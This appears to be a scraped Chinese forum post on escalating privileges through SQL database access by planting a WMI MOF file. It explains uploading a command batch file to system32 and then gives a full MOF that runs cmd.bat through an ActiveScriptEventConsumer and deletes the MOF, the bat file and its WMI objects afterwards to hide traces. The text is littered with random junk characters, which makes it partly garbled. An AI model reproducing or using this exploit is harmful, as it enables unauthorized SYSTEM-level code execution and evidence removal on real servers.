这个sql提权MOF需要运行 system下的文件,不能定义路径。
& h- s( W1 O |, S+ o需要将要运行的命令写入到bat上传到system32目录,然后执行。
& ^# H2 t o3 m2 j4 R) c4 U" n6 y8 C9 p9 g8 @
这个sql提权MOF需要运行 system下的文件,不能定义路径。+ h$ s, r0 T6 D: w i5 x. I2 D
需要将要运行的命令写入到bat上传到system32目录,然后执行。1 w3 H1 w3 g6 |) ~" J: O+ ]
9 b- w5 B3 y/ c( P- n/ Q& Z* k#pragma( _$ t! e3 d" c8 H- Y6 a
namespace("\\\\.\\root\\cimv2")
; `( B# v1 B+ q! N2 Y: r- [ class( _3 m/ Z) i+ u+ W( K, A- A
MyClass5472 l3 {3 u8 ~( j
{ [key]- k0 J: T- I" j J" @
string
. L& g4 C/ E& x6 |) W/ P3 V! b Name;, l/ i9 i6 V% k
};! O+ t, a: \2 H
class U% c. G2 G0 w; }/ n4 P
ActiveScriptEventConsumer
% S8 L6 x8 y9 ]3 w% r : __EventConsumer { [key]4 j+ c+ h, O, F- I
string) v' h( B1 Y$ i, o; I/ j& m* x
Name; [not_null]
; x; {6 t' ?; b/ ], f8 Q) o string9 k6 P/ R% }; w9 n! l1 j$ {
ScriptingEngine; string
, C4 O# B" f. I ScriptFileName; [template]
$ O( O1 T+ {+ {0 J, p string& N7 O& x8 u/ j
ScriptText; uint32 KillTimeout;) g6 }" Y! y% g5 _, I1 B* o
}; instance of __Win32Provider as $P {) h! c" i# y% h# U9 ]3 _3 n
Name" |7 ?- @6 G# ]. [& }! k
=/ E( L) k7 I# b2 r$ \
"ActiveScriptEventConsumer"; CLSID =
* t2 w$ T G' Z/ N3 s: T- @ "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
+ m9 H' d1 I( V2 H; j PerUserInitialization$ `- H$ f1 N/ o
= TRUE;4 P2 Y. l6 W; `# [0 C* f& V3 \
}; instance of __EventConsumerProviderRegistration { Provider2 h5 V' _5 r$ v, R$ s
= $P; ConsumerClassNames2 Q) G4 Z' g) I2 O0 U! S: v, ?
=: E7 `5 l$ y! J* @! v8 t" E
{"ActiveScriptEventConsumer"};
6 B9 n) X, W `$ V6 @- j };" I6 Q# I5 H; z; t
Instance of ActiveScriptEventConsumer' |6 ?9 k- Q) }: k% l e1 ?
as $cons { Name
5 i H. C7 R1 p2 |: Z =/ V9 ^ F$ T, a3 a# M7 p# N
"ASEC"; ScriptingEngine3 R/ r" P9 o( O
=; G( H$ Q- O1 O
"JScript"; ScriptText
0 L' [! E) A7 b8 E1 m) v =
, M5 X2 r3 `2 d "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
9 @' V' e8 p6 v- u4 t Instance of ActiveScriptEventConsumer" u) K* G9 y9 c" F5 h8 w
as $cons2 { Name" Z+ j% ~( B0 N2 }5 x# ~0 f
=" G: f* ?( g" a$ W9 V
"qndASEC"; ScriptingEngine+ Q3 N1 y8 G" E
=
& p; A+ J) I& s3 V2 t% z "JScript"; ScriptText( H P: Z5 B. r5 v
=1 x& h m) z6 `9 ?6 B
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";, ?2 P { ]9 Q. b9 y# X
}; instance of __EventFilter as $Filt { Name
" R* T* ?, S/ R' R9 x7 W- d =
9 ^* U! W& A9 n; o5 H' A- h, d7 Q "instfilt"; Query0 h' G: U0 i/ j; g! j$ A9 y
=& I/ |4 D* u: F2 x2 Q
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
. V( ?! q- y' u3 `2 Z0 s- D =
& t3 h( Q7 A5 Y3 z5 V2 `% u& @2 U "WQL"; }; instance of __EventFilter as $Filt2 { Name
e0 F6 P7 b6 g =
/ o, w7 ^& T6 i" ^& u "qndfilt"; Query p& M7 @, e4 L5 l! T
=
' F: @# W. S( v: Q# w "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage+ F9 H$ x# V4 \' m& R- B
=
5 E5 b/ j7 e& ~9 f0 G$ D- F( i3 i+ j! l "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer! P+ e8 D3 Q4 r, v7 Z& J9 w, Q6 ~
= $cons; Filter6 u6 E7 M0 o: I8 }; ?
= $Filt;
' r& q, s0 z/ M( S& f }; instance of __FilterToConsumerBinding as $bind2 { Consumer
; ~+ J+ u0 B: f- f9 w1 Z" ` = $cons2; Filter
* X9 \3 t- d2 C: n& a = $Filt2;
], S: j! I& L9 y# Z8 f }; instance of MyClass5478 z) s& F( m; {
as $MyClass { Name
3 C' l/ r, j! I+ t4 ?. F =* ^8 ~8 o4 m! f ?) K* k. s7 ]
"ClassConsumer";
7 b6 F* Q" |6 w }; |